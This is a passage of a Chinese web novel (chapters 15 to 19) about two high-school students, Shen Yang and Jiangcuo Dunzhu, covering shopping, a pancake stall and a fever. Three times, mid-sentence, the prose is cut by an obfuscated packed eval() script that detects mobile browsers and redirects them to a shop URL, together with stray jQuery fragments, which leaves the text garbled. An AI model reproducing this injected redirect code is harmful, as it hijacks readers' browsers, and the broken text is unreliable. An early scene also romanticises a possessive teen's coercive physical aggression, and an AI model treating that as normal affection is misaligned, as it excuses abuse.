宋海的姐姐在学习烘焙,宋海拿过曲奇饼干和老式鸡蛋糕来教室和大家分享,味道都还不错。 沈泱接过塑料勺,说了句谢谢,用勺子挖了一勺淡黄色的奶油,香甜滑腻的奶油涌入口腔,味道不算很难吃,但也不算很好吃。 又吃了两三口,沈泱不太想吃了。 刚想把塑料勺扔进垃圾桶,几个男生打打闹闹地从教室外面回来了,他们就坐在沈泱位置的附近,和宋海的关系不错,有个男生哇了一声道:“蛋糕,宋海你带来的吗?我也要吃。” “我也要吃!” “还有我还有我。” 宋海爽快地将最后两个塑料勺分给了男同学,有一个同学没能拿到勺子,见沈泱要去扔勺子,他一把夺过沈泱手里用过的塑料勺,“沈泱,你不用了吗?那给我呗。” 他拿过沈泱的塑料勺挖了一大勺的蛋糕,塞进嘴巴里,口齿不清地讲好吃,又挖了好大一勺。 沈泱快要十八岁了,看到过两个女生分享同一杯奶茶,看到过两个男生用同一双筷子吃东西,当事人完全不介意用对方的东西。 但沈泱一直很嫌弃,不能理解他们这种毫不介意的行为。 就在这时,教室门口响起一道叫沈泱的声音。 沈泱抬起头,江措顿珠站在四班教室的门口。 午后的阳光从他身后劈下,后半身暴露在强烈的阳光之下,前半身隐藏在暗色的阴影里。 怕他们把自己的课桌吃得一片狼藉,沈泱叮嘱宋海把蛋糕端走,沈泱蹙眉,捏着雪白的纸巾擦了擦课桌上落下来的两滴奶油后,起身朝门口走去。 走到教室门口,沈泱才发现江措的脸色不好,神情紧绷,似乎在压抑克制着什么沸腾的情绪。 他又怎么了? 江措攥住沈泱的手腕,没什么表情地拽着他往楼下走去。 教学楼的旁边是年代久远的艺术楼,艺术楼的一二楼都是钢琴自修室。 江措随便开了一扇狭窄的木门,将沈泱推了进去。 钢琴室五六平米大小,侧对门的位置放置一架爱心人士捐赠的钢琴,房间的窗户是外凸的异形窗,窗外一棵茂盛的冷杉拔地而起,挡住了大部分从窗外射进来的阳光。 他刚才和男同学们是正常的社交距离,也没有抱任何一个人!江措这个表情又是想干什么? “你,你干什么?”盯着江措的表情,沈泱往后瑟缩了半步,又觉得自己这样实在是太没有气势了,鼓足勇气,朝前走了一步。 江措:“你把你用整张嘴含过的勺子给别的男人!” 沈泱恼怒道:“他自己不嫌弃的,又不是给我用!” 江措眼神没什么情绪地问道:“所以不管是什么男人,只要他愿意,就能和我一个待遇吗?” 沈泱顿了一下,才明白江措发的是哪门子疯。 “你简直是在无理取闹。”沈泱的胸口气得起伏不定,娴熟地踹了江措一脚。 江措双手掐住沈泱的腰,猛然用力,控着他的腰往前走了两步,沈泱双脚悬空,屁股坐在了冰冷的琴盖上。 沈泱屁股往下滑,想重新站在地板上。 江措大腿微微用力,插进沈泱的双腿之间。 “江措……”沈泱刚张了口,江措看见他软嫩湿粉的口腔内壁,想到被他含过舔过的勺子进入了另外一个男人的嘴里。 难以言喻的暴虐胸腔涌动。 根本没能听见沈泱说了什么,江措抬起手,粗糙的食指毫不客气地探进了沈泱的口腔里。 沈泱正在大骂江措这个脑袋不知道一天在想什么的混蛋,他双颊气得发红,粉润的嘴唇快速地一张一合,突然,口腔里传来了明显的异物感。 他难以置信地瞪大眼睛,垂下眼。 江措顿珠竟然敢把他的手指伸进他的嘴巴。 “你啊滚蛋呜呜这个8(&”沈泱口齿不清,激动地大骂。 江措健壮的身躯牢牢地挡在沈泱的身前,见他气得双颊通红,黑密的睫毛一颤一颤的,江措垂着眼,冷漠地又加了一根手指进去。 带着厚茧的手指粗暴且毫不怜惜地在娇气金贵的小少爷的口腔里放肆搅动,江措盯着因为自己的动作怒不可遏的小少爷,眼神冷漠地质问他:“以后还敢把你用过的勺子给别的男人或者女人吗?” 沈泱想要拿出江措在自己口腔里兴风作浪的手指,该死的江措,他口水都要含不住了。 沈泱去抓江措的手腕,想要掰开他的手。 江措手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没去那里。”沈泱尽可能镇定地说道,又问他,“下节是什么课?” “物理课。” 沈泱将书桌上的英语课本塞进去,拿出物理书。 翌日是周六,高三可以放半天假。 趁着放假的时间,江措带着沈泱去买了两身衣服。 九月一到,高原降温,沈泱从蓉城带来的衣服太薄,抵挡不住秋日的寒意。 沈泱原来不想听江措的安排买衣服,转念一想,没有衣服受寒的是自己,带着一张不笑的脸和江措出门了。 “这件呢?” “不行,颜色太亮。” “这个也不行,我不喜欢牛仔。” “不行不行不行,这个我穿起来像个老头子。” “丑死了丑死了,鬼才能挑出这种衣服来买!” 沈泱对商场的每一件衣服都用一副贬低的口吻,尤其是江措每次选一件衣服,一定要将那件衣服批评的一无是处,好像江措的眼光是在地底下沉睡了一千年的僵尸。 周末的商场人流多,沈泱大肆批评的语言传入其他有购买意向的顾客里,店员都想把他赶出去了。 只是幸好沈泱在一家商店里停留的时间不长,就会把所有衣服批评一遍,站在他身旁沉默老实的男人则带着他去旁边的店里挑衣服。 从街头挑到街尾,面对漂亮少年的挑剔,寡言老实是少年没有表露出丝毫的不满。 脾气真好,店员们不约而同地感慨着。 16.第 16 章 不过也就是脾气这么好,才能养出这么难伺候的小少爷。 而沈泱从街头挑剔到街尾,嘴巴说干了,体力也告罄了,才终于不找茬了,选了两件他满意的厚外套。 江措又给他挑了两件毛衣,两套保暖衣,两条厚点的裤子,一套厚睡衣。 买完东西,任劳任怨的江措又按照小公主的吩咐,去给他买了一份狼牙土豆和烤苕皮。 小少爷捧着自己狼牙土豆和烤苕皮兴致勃勃地往家的方向走,江措拎着几个装满了沈泱衣服的纸袋子。 回到家,沈泱打开电视,边吃东西边看电视。 江措利落地放了水,高大的身躯蹲在洗手间里,把贴身穿的衣物给沈泱搓洗了一遍,衣服晾好后,江措急匆匆地去火锅店里打工。 沈泱注意到从客厅走过的江措裤腿短了一截,露出一截脚踝。 他心不在焉地咬了一口狼牙土豆,江措今天给自己买了很多东西,却没有给他买一样东西。 哼! 钱都被江措管着,他不买肯定是不需要呀,他那么凶那么有主见,才不需要沈泱去关心他呢。 系上围裙,在火锅店打工的时候,江措一心二用,一边熟练地将每桌顾客的点菜加菜送到对应的餐桌,一边在脑袋里思索沈泱的开支。 衣服的布料每天都和沈泱细嫩的皮肤碰触,他不愿意给他买廉价的东西,今天这些东西把他八月在火锅店的工资和奖金花得所剩无几。 而且,这还是他没有给到沈泱最好东西的前提下。 还有没有办法再赚点钱?脑袋里闪过这个念头的时候,江措的脑袋里闪过很多个想法,最后停留在清晨,赶着上早自习时,校友们的几句议论。 “王大爷今天又没出摊?” “没啊。” “他做的杂粮煎饼最好吃了,他不会不摆摊了吧?” 第二日和沈泱在食堂吃过午饭后,江措把沈泱送进教室,按照打听来的地址,离开了学校。 “砰”“砰”不轻不重地敲门声响了起来。 在看电视的王大爷调低了电视的音量,他的老伴咳着嗽,站起身,腿脚不利索地起身去开门。 生了锈的防盗门打开,老太太先看见一块黑色的布料,脑袋高高的扬起,王奶奶疑惑地说:“你找谁呀?”是口音很重的汉语。 江措说:“请问,王福生王大爷住在这里吗?” “你找我老伴?有什么事吗?进来说吧。”老太太打开门,请江措进来。 王福生半个月前摔断了腿,做了手术打了石膏,他快七十岁了,医生让他一定要在家好好休养三个月,否则骨头受伤,不一定多久才能痊愈。 他坐在轮椅上,老人家都怕冷,膝盖上搭了一个厚毛毯。 他满是皱纹的脸盯着江措,打量道:“你是哪家的娃?” “我是一中的学生。”江措目光掠过他上了厚重石膏的有右腿,“你很久没出摊了,你的腿伤得重吗?” 提起这个老头一肚子火气,“医生说好几个月不能走路呢!哪里这么严重,我年轻的时候不也摔断了腿吗?不两个月就能走了吗?” 他旁边的小老太太骂道:“那个时候你二十岁,明年你都要七十岁了,你……咳咳能和以前比?” 又倒了热水,招呼江措坐下。 王福生说:“学生娃,你是不是怀念我的煎饼了?唉,我怕是要到这学期的尾巴才能出摊了。”老头满是懊恼的语气。 他抬头看向江措,他的杂粮煎饼好吃,除了面饼酥脆,刷的蘸酱也是他的独家秘方,别看他只是一个摆摊卖小吃的,一个月收入不比大城市里坐办公室的大学生差。 只是…… 王福生打量江措的脸,这个学生娃有经常来光顾他的杂粮饼摊吗?看着有点面生。 但上早自习的那段时间忙的他恨不得有六只手,也没时间看学生娃的脸,他记性算不得好,觉得陌生挺正常。 “王叔,我今天来,是想和你学习一下你做煎饼的手艺。”江措说明来意。 什么? 王福生和蔼自得的脸色瞬间大变,还想要站起来,右腿传来的疼痛阻止了他的行为,“不可能,我还要摆十年摊呢!” 现在就把他的手艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998332|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和配方交出去,他以后怎么办? 盯着急得面红耳赤的老人,江措说:“我只摆你受伤的这几个月,等你伤好了,我就把摊子还给你。” “不行不行不行。”王福生连连摇头,“我不能信你这话,万一到时候你不走了怎么办?” 县城一中的人流量很大,贴近老城市中心,初中和高中的学生娃加起来几千人呢,县城中学也在前面不远处,如果有人和他摆一样的摊子,一定会影响他的生意的。 江措掏了掏口袋,把成绩单和身份证交给老人看,“我叫江措顿珠,这学期读高三,这是我的成绩单,我一直都是年级第一,明年我会去外地读大学。” 老人看了眼江措顿珠的成绩单,他孙女也是县城一中毕业的,今年正好大学毕业,虽然现在一个月赚钱没他多,但安安稳稳地坐办公室,风吹不着,雨淋不着,还有各种保险,节假日都放假休息! 他孙女以后是赚轻松钱的,老人家想起来晚上做梦也开心呢。 他也天然喜欢成绩好的学生,“既然你都高三了,那你应该好好学习啊,我孙女高三可努力了,原来老师说只能考一个普通一本,后面你瞧她怎么样?考上那什么九八五了呢!!现在是个律师呢。” 江措打听得很详细,王福生的独子二十年前去世,儿媳妇改嫁,只留下一个三岁的孙女,由老两口抚养长大。 “我知道王青青学姐,我的英语老师以前也教她英语,说她很努力认真。” 王福生低头,再仔细看看江措的成绩单,“你这成绩比我家青青好,说不准比我家青青还要考一个更好的大学,你干什么现在做这些耽搁你学习的事。” “因为我穷。”江措毫不避讳地说。 老头一愣。 江措垂了眼睛,“我妈在我七岁的时候和其他男人跑了,我爸爸也死了,还给我留下了一笔债务,我还有一个弟弟要养。” 江措长得高大,五官深邃刚毅,但此时他弯着脊背,佝偻着腰,低着头,屁股只坐了一半在王福生的沙发上,看起来没有一点压迫性和危险感,只是一个被命运蹂躏的可怜学生。 17.第 17 章 “你没有其他长辈的吗?” “没有,我爸爸因为不学无术,他活着的时候其他亲戚断掉了和他的来往,连我的奶奶也受不了他,和姑姑一家离开了久塘县。” 这孩子,怎么比他们家青青还造孽啊。 “王爷爷,我是这样想,你不需要把你蘸料的配方告诉我,这个可以由你在家调制,不过我需要借用你摆摊的行头,每天的收入,我分三成给你,你看怎么样?” “这……”王福生犹豫不决。 他思前想后了一会儿,又和他家老婆子商量了几句,江措顿珠的成绩单如果没有作假,应该能考上比他家青青更好的大学。 肯定比在一中门口卖煎饼有前途。 而且,不需要把最重要的酱料的配方交给他。 此外,他一天卖煎饼的利润可不少,一个煎饼他卖两块五,三块钱或者三块五,四块钱,看学生们要加什么料,摆一天摊赚个三四百不成问题。 对方只能摆早上,七点多就要收摊,按照他以前的收入来算,一天也能赚个一两百左右,他每天能分个三四十。 青青毕业了,不需要他给她生活费,生活压力是轻了一些,但他们两个老头子将来都是青青的负担,他们多攒一些钱,青青将来的日子就好过一点。 “真的等我好了你就把摊子还给我?” “嗯。”江措说,“我可以发誓。” 这天晚上江措从兼职的火锅店回来,沈泱还没睡觉。 他每天晚上都要洗澡,江措好奇再过一两个月,到了县城最冷的冬天,房子里又没有空调,小少爷会不会还要每天晚上洗澡。 他趴在沙发扶手上,穿着毛茸茸的睡衣,在看电视。 江措扫了他一眼,拿着睡衣睡裤去洗手间洗漱。 晚上睡觉的时候,江措对旁边被窝的小公主说:“沈泱,明天早上我有事,没办法叫你起床了,闹钟响了,你自己起床去上学。” 沈泱都要闭上眼睛睡觉了,他眼睛睁开,支起半边身体,问江措,“你有什么事?” “你明天应该能知道。” “那是什么事?” “记得明天早上自己起床去上课,不要迟到。” 不说就不说,沈泱打了个呵欠,缩进被窝里。 江措大手伸出来,把沈泱盖在脖子上的被子往下掀开,再一次说道:“明天早上自己起床去上课,不要迟到,知道了吗?” “你好烦啊。”沈泱抱怨了一句,一把将被子从江措的手里抢回来,“知道了知道了。” 江措盯着他看了两眼,确定他记得学生就要上课的规则后,直起半边身体,关了灯。 沈泱因为有赖床的习惯,设了三个闹钟,第三个闹钟响起来的时候,沈泱闭着眼睛,在枕头上摸到手机,关掉闹钟。 又在温暖的被窝缩了几分钟,沈泱蓦地想到江措说今天早上不在家,他掀起被子,旁边的被窝果然没有人睡,被子叠得整整齐齐。 沈泱坐了起来,叫了两声江措,没听到任何回应。 手机上的时间不允许他在家里赖床,沈泱蹙着眉,一个人穿衣服,洗漱,换鞋。 急匆匆地往学校赶,沈泱买了牛肉包边走边吃,又才想起江措今天没给他早饭钱,这两个包子是他用自己的零花钱买的。 中午一定要让江措把早饭钱还给他。 沈泱咬着包子,急匆匆来到学校门口时,不知道是出于什么意识,余光朝着不远处看了一眼。 一中校门口有很多卖早餐的小摊贩,尤其是最近初中和高一高二开学后。 简直是人满为患。 现在马上要打铃了,围着的学生少了许多。 沈泱看到今天似乎多了个卖煎饼的摊子,卖煎饼的人长得很高,戴着讲究的,其他摊贩都没戴的塑料卫生口罩。 沈泱在扫到对方的体型后,眼睛微微瞪大了。 他含着牛肉包,那一口始终没咬下去,愣愣地看着几米开外娴熟地在铁盘上操作的男人。 直到学校里的铃声在他的耳畔响起,沈泱蓦地回神,赶紧拿着包子,朝着学校跑进去。 一下课,沈泱立刻拉开椅子起身,朝走廊尽头,高三一班的教室走过去。 他站在教室门口扫了好几遍,都没有看到江措顿珠的人影,难不成还在外面摆摊? 沈泱刚打算冲出校门,江措从楼梯口走了上来。 “找我?” 沈泱语气很快地说:“你在校门口卖煎饼?” 江措盯着沈泱,“我还以为你不能发现。” 沈泱蹙眉:“你可以在学校外面卖煎饼吗?你早自习也不上了?老师能允许?” “他们会允许的。”江措语气很平静地讲道。 说话声刚落下,一个同学在他身后叫了一声江措,说王老师叫他过去,王老师是江措的化学老师,也是高三的年级主任。 江措把沈泱送回高三四班的教室后,来到了二楼,年级主任的办公室。 王老师和其他老师都共用一个大教师来办公,他是个三十多岁的青年教师,肚子微微鼓起,去年才升任了年级主任。 “江措,听说你早上在学校门口摆摊卖煎饼?” “嗯。” 王老师眉头一凛,“你知不知道你现在高三了,高三的当务之急是学习,是提高你的分数,考一个好大学,你现在在做什么?天天为了点蝇头小利耽误你的前途!” “王老师,我很穷。”江措打断他的话。 少年很高,哪怕向来以身高自傲的王贵和他讲话都要微微仰着头。 他穿着局促的黑色外套,料子看起来很硬,露在外面的一双手粗糙干燥,充满了劳作感,而没有一点学生提笔写字的柔嫩感。 掌心和手背都有愈合的伤痕,关节粗大。 他讲这样的话,却一点也不显得局促和胆怯,波澜不惊,仿佛不是一个十七岁的少年人在老师的逼问下承认自己的贫穷,只是来办公室来拿一份属于自己的卷子。 甚至有些同学,来老师的办公室拿卷子都还战战兢兢的。 王主任缓和了语气,“老师知道你不容易,可是你不能在不上晚自习之后又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002846|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上早自习,江措,你应该努力冲一冲更好的大学!” “你现在有困难是不是?你这一年的生活费老师先拿给你。” “王老师,我还有家人要养。”江措说,“他……” 江措顿了一下,似乎在思考应该如何措辞,“我不想让他跟着我吃苦。” “你!”王主任简直是无话可说,他想说你自己都过成这样了,还管什么家人,但是理智告诉他,他的身份不能讲这样的话。 “我卖煎饼也不会影响我的成绩。”江措朝着年级主任承诺。 “要是下次月考成绩下降,你就回来好好给我上课!”王主任色厉内荏道。 没办法,这两年他也和江措打过一些交道了,江措是聪明的孩子,所以还能在打工的情况下保证自己的学习成绩,同时,他又是意志坚定的人,自己决定的事没有人能够更改。 “总而言之,实在有困难就找老师,老师总比你有办法一些。”王主任叮嘱道,“学习也不能耽误,江措,你的成绩那么好,可不要让老师失望。” “我会努力。” “好,上课了,你这节是英语吧,快去上课吧。” 江措被年级主任叫走后,沈泱还想他的煎饼摊能不能顺利地摆下去,接下来几天,他都顺顺利利地营了业。 没了江措叫他起床,沈泱通常会拖延到再不起床就要迟到的时间才起床,急匆匆地套上衣服,洗漱后奔向学校,顺路在路上买两个包子啃。 这天早上,他看错了时间,来到学校门口距离早自习还有十分钟,沈泱盯着不远处的煎饼摊,走了过去。 江措每天给他四块钱的早饭钱,其实很足够,两个大肉包子才两块钱,素包子一块钱两个,一碗一两的牛肉面三块钱,有些地方才两块五。 煎饼摊前已经围了好几个人了,摊煎饼的江措察觉到又来了顾客,一边给平底铁锅刷酱料一边顺嘴问了一句,“还加什么吗?” 沈泱盯着摊顶上的塑料布看了两眼,说道:“加火腿肠吧。” 江措抬起头。 沈泱双手插在衣兜里,抿着嘴,望着江措。 江措收回视线,利落地给沈泱前面的学生摊煎饼,没看见他低下头后,故意不给出其他表情的沈泱弯了下唇角。 加了火腿肠的煎饼三块五,沈泱递给他四块钱,江措找了他五毛钱。 拿到煎饼,沈泱也没有离开煎饼摊,站在旁边一边吃煎饼,一边盯着江措给不间断的顾客摊煎饼。 又一个顾客接到煎饼,扫了一眼旁边在吃煎饼的沈泱,不满道:“老板,我们都是加了火腿肠的三块五煎饼,为什么他的煎饼比我大这么多?” 江措手没停地摊面糊,“他是我家里人。” “可是你们长得一点也不像啊。”初中生一看别人的煎饼和他差不多大小,只有沈泱的大一大圈,咬了一口煎饼说,“他好白啊,你好黑啊,你们怎么可能是家里人。” 他旁边的小伙伴说:“哎呀,肯定是看人家长得好看啊,就是这样的啦,我妈妈看见好看的人打菜的分量都会多一点啦。” 18.第 18 章 小伙伴说:“走啦走啦,我们还要去教室里写作业呢。” 沈泱站在江措身边,心情愉悦地吃着馅料充足的煎饼,直到教学楼里传来了上课铃声,招呼也没来得及给江措打一声,急匆匆地朝学校冲去。 江措抬起眼,看了眼沈泱快速奔跑的背影,又再低下头,继续摊煎饼,这一个煎饼的分量也稍微大了一点。 高中生七点十分上早自习,初中生没有早自习,八点十分才是他们到学校上课的时间。 他们上课时间晚,大部分人都不会掐着点去教室,但开课前的十分钟江措必须收摊了,他把推车锁好,放进学校旁边的一条巷子里,去教室上课。 煎饼太大了,沈泱吃不完,想扔掉的时候不知道想到了什么,又低下头咬了两口,实在是吃不下了,扔到了教室后面的垃圾桶里。 下课的时间过了几分钟,估计洗手间不会拥挤后,沈泱才朝洗手间走去。 三楼的洗手间是女生的,沈泱走到四楼,准备推门的时候,听到了里面的说话声。 “江措顿珠那么穷吗?不仅晚上在火锅店里当服务员,早上竟然还在校门口卖煎饼,他都不觉得丢脸吗?”是一个沈泱完全没听过的男声。 沈泱推门的动作停下。 一点香烟的味道飘出来,又有一个人讲,“说起江措,我前几天还碰到他了,他在南池市场买衣服呢,人家要价格六十的外套他和人扯了半天,还价到四十块。” “我看他今天穿的就是那件衣服。” 有人嗤笑一声,“四十块的破烂货啊,啧啧,年级第一有个什么用,还动不动就让我们和他学习,学习和他为了十几二十块钱和女人喋喋不休吗?” “就是啊,就算成绩好,成绩好将来没出息的一抓一大把。” 沈泱忍住了打开门的欲望,木着脸走下楼,向年级主任汇报有人在四楼厕所里抽烟,他让他们打开门,他要上厕所,他们竟然还威胁他让快点滚。 王贵气得吹胡子瞪眼,带上圆圆的大肚子,拿上教棍火速往楼上赶。 沈泱往教室里走,上楼梯的时候遇见一个一起回教室的女同学。 江宝珠一直盯着他。 “你在看我什么?”沈泱心情不好的时候,对人也没有好脸色。 女孩子笑了笑,用带点口音的普通话讲道:“你这个外套真好看,上周末,我妈妈本来想给我弟弟买一件,不过我弟弟比较黑,穿起来没有你好看。” 女生又说道:“我记得这件外套也不便宜吧,好像要六百块吧。” 沈泱说:“没有这么贵,在打折,四百一。” 沈泱那天买了两件外套,加起来快八百块了,因为是不能讲价的商店,江措也没有和店员讲价,但他给钱的时候,脸上没有任何为难和迟疑的神色。 沈泱用力地抿了下唇,回到了教室。 晚上江措在火锅店里兼职,在校门口和曲安林告别后,沈泱独自回家。 县城秋天的晚上十点,街上已经没有什么人了,都是往家里走的学生,沈泱转弯,过了一个路口,脚步忽然顿了一下。 前面有三个长得高高大大的男生,手里拿着美工刀,似乎在威胁被他们围在中间的男生交出零花钱。 男生浑身颤抖地摸出身上的零花钱,交给那几个看起来不好惹的男生。 一个男生低头数了数,脸色有点难看,踹了那个男生两脚,让对方滚开。 忽然,他们的视线朝后面的学生看了过来。 见他们看向了自己,沈泱赶紧把手揣进衣兜里,捏了捏这几天攒下来的十九块钱,确定它们还好好地待在沈泱的衣兜里,见几个男生交换了一下眼神,朝他走来。 沈泱转过身,拔腿就跑。 风声掠过沈泱的脸颊,沈泱上气不接下气地朝前跑,也不敢往后看,怕被人追上了,直到实在是跑不动了,沈泱才忍着喉咙传来的剧痛,双手叉着腰,往后看了眼。 没人追上来。 他后背靠着一旁的电线杆子,大口大口地喘着粗气,旁边跟着他一起跑路的男生,气喘如牛地问他,“没,没来吧。” 沈泱没有说话的力气了,只是艰难地向他摇了摇头。 两个人在电线杆子这里喘了三分钟,沈泱准备离开了,那个男生犹豫了两秒钟,还是跟了上来,走在沈泱的身后。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006860|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈泱转过头来,看了他一眼。 二楼的窗户忽然亮了起来,漫下来的白光洒在沈泱洁白若雪的脸颊上,李君迟愣了几秒钟才回过神,见沈泱走远了,又赶紧跟上去。 接下来两天,沈泱每天晚上回家都能遇见对方,估计对方怕落单被抢劫,沈泱也还有点怕,他的钱可是好不容易才攒下的,便也默许了对方和他一起走路。 “你叫什么名字啊?我叫沈泱。” “我叫李君迟。”李君迟的头发有点长,挡住了他一点眼睛,声音有点无措和紧张。 “你是哪个班的?” “九班。” “你是文科生。” “嗯。” 沈泱没问李君迟是哪个年级的,高一高二少上一节晚自习,只有高三才九点五十放学。 李君迟住的地方在沈泱前面,沈泱走进小区后,李君迟还要再走一会儿才到。 回到家,江措兼职还没有回来,沈泱回家后,先打开电视看了几分钟,又去洗手间洗澡刷牙。 江措到家的时候,沈泱刚从洗手间里出来,有点冷,毛绒睡衣外还穿了件外套。 “江措,你回来了啊。”沈泱靠在床上玩手机,抬起头看了他一眼,和他讲道。 江措嗯了一声,拿起自己放在床头柜上的睡衣,火锅店的味道重,他回来后都会洗澡。 沈泱是等江措又回到房间后才发现他生病的,不知道他打开衣柜想要拿什么东西,身体竟然摇晃了几下。 “江措,你生病了?”沈泱跪坐在柔软的大床上,盯着脸色似乎有点发红的江措,这很不容易,因为江措有点黑。 江措拿起针线往外走:“没有。” 沈泱膝行两步,来到床边,穿上拖鞋,走在江措的身后,“你就是生病了。” 他踮起脚,手掌快速地在江措不正常的脸颊上一碰,“好烫呀,江措,你在发烧吗?” 或许是觉得沈泱的手掌有点凉,或许是其他的原因,江措往客厅里走的脚步停了下来,脑袋快要顶着门框了,垂着薄而红的眼皮,盯着近在咫尺的沈泱。 “没有。”江措哑着嗓子,否认道。 19.第 19 章 说完,他拿着针线盒,又找出他那条开了线的运动裤,坐在沙发上,粗糙的大手捏着一根小小的绣花针,不算很生疏地缝补了起来。 “江措,你真的在发烧,你应该去弄点药来吃。” 裤子缝好了,江措用牙齿咬断缝线,绣花针插进线筒里,江措说:“很晚了,你该睡觉了。” “我说你在发烧。” “没有发烧。” 气死了,沈泱不想搭理江措了,反正又不是他在发烧,沈泱抿着嘴,黑着一张脸回到了床上,过了一会儿,沈泱听到有人进来了,沈泱赶紧闭紧了眼睛。 他听到江措在另外半边床上干了点什么,又离开了。 沈泱睁开眼睛,竟然看见江措抱着被子往外走。 猛然坐了起来,沈泱皱眉问:“江措,你抱被子干什么?” 江措顿珠用有点干哑的声音回答道:“我今晚去沙发睡。” 江措顿珠离开后,沈泱往后一仰,倒进自己柔软的床铺里,撇了撇嘴,他还嘴巴硬,说自己没生病呢! 第二天早上,沈泱起床的时候,江措早就不在家里了,被子叠得整整齐齐,放在沙发上,沈泱洗漱后出门,在校门口看见了卖煎饼的江措。 因为煎饼摊对他的身高来说有点矮,江措的头垂得低。 他抬起头把煎饼递给同学的时候,沈泱看到他露出来的半张脸似乎还是红的。 就这么缺钱吗?难道一早上的休息时间都没办法挤出来吗? 江措收了摊,去教室上课的时候,看到了站在一班教室走廊上的沈泱。 抿着嘴,脸色不善地盯着他。 江措的反应是有一点迟钝的,原地怔愣了片刻,才朝沈泱走过去。 “江措,你必须得去看看医生。”沈泱踮起脚,碰了一下江措的额头后说道。 江措盯着他道:“你在关心我吗?” 沈泱怔了怔,激动地反驳道:“我才没有关心你,哼,随便你,你烦死了,我管你去不去看医生。” 沈泱气冲冲地走了,或许的确有点不舒服,江措视线都有点混乱了,竟然看见沈泱白皙的耳廓微微发红。 中午沈泱和江措一起去食堂吃午饭,学校的食堂要先去买饭票,买了饭票再拿着饭票来窗口打饭,沈泱去排队,江措去买饭票。 江措买好两张饭票后,朝排队的沈泱走过来,食堂里人潮汹涌,江措精准地避开每一个可能会碰到他的人,看起来,好像病已经痊愈了。 沈泱接过江措递过来的两张饭票,在心里感慨,江措真的是牦牛转世吗?身体这么强壮? 直到晚上,江措打工回来,沈泱发现他的脸色似乎比昨天晚上还不太好,嘴唇泛白。 他没有洗澡,脱了打工的衣服后就躺在了沙发上,一句话也没有和沈泱讲,闭上眼睛,沉沉地睡了过去。 沈泱蹲在沙发前,用手碰了碰江措的脸颊和额头。 好烫!以前穆宁然发烧,四十度了才有这么烫! “江措,你起来,你应该去看……” 江措眼睛突然睁开,握住了沈泱的手腕。 他视线不聚焦,茫然地在天花板转了两圈后,微微侧过头,没什么神采的眼神落在沈泱的脸上,又盯着沈泱看了两秒,哑声道:“我没事,我睡一觉就好了。” 他说完,又闭上了眼睛,但没有立刻松开沈泱的手腕。 过了片刻,沈泱的手腕才被睡着了的江措缓缓松开,江措没有用很大的力气,掌心的薄茧还是给沈泱的手腕带来了一点难以忽视的疼痛感。 低头看了眼空荡荡的手腕,沈泱又抬起头,盯着陷入昏睡中的江措,很想踹他一脚。 江措第二天还在发烧,还是没有去看医生,但终于在学校外面的药店里买了几包退烧药,药吃了两天一直没有痊愈,沈泱再次要求他去医院看一看。 江措不在乎地说:“明天应该就能好了。” 沈泱踹了他一脚,但江措仍旧觉得没必要去医院,发个烧而已,又没有昏倒,去什么医院。 沈泱想要咬他,只是因为现在在学校里,周围全是校友。 沈泱只能抬起脚,气冲冲地踹了他两下。 江措又断断续续地烧了两天,终于彻底恢复了正常,眼眶周围不再浮现一种不正常的潮红,但江措痊愈没两天后,沈泱生病了。 江措晚上打工回来,客厅里没开灯,沈泱没在客厅里。 房间里的灯开着,沈泱好像侧躺在被窝里,江措打眼一看,竟然似乎睡着了。 怕沈泱嫌弃自己身上浓郁的羊肉味,江措没有凑太近,老远地一看,直到洗完澡换了身睡觉的衣服来到床边,江措才注意到沈泱的脸色有不太正常的红。 大手贴上去,额头有一种令人震惊的滚烫。 “沈泱,沈泱。”江措叫了两声。 沈泱睁开有点肿胀的眼睛,声音干哑地烦道:“干嘛啊。” 又倦疲地讲:“我要睡觉。” 眼睛又闭了上去,一股要往床上黏的姿态,江措又用手贴了贴他发红的脸颊,太烫了,他快速给自己换上外套和裤子,又把沈泱脱下来的衣服从床头柜上拿过来,按着他的肩把人拉了起来,“沈泱,你在发烧,换衣服,和我医院。” 沈泱浑浑噩噩的,听到这话,赶忙摇着头拒绝,“我不要去医院,我要睡觉。” “江措!”他眼睛睁开,扯着沙哑的嗓子吼道,但他那点推拒的力道对江措来说根本不够看,三两下给他套好外套,又拿来他的裤子给他穿上。 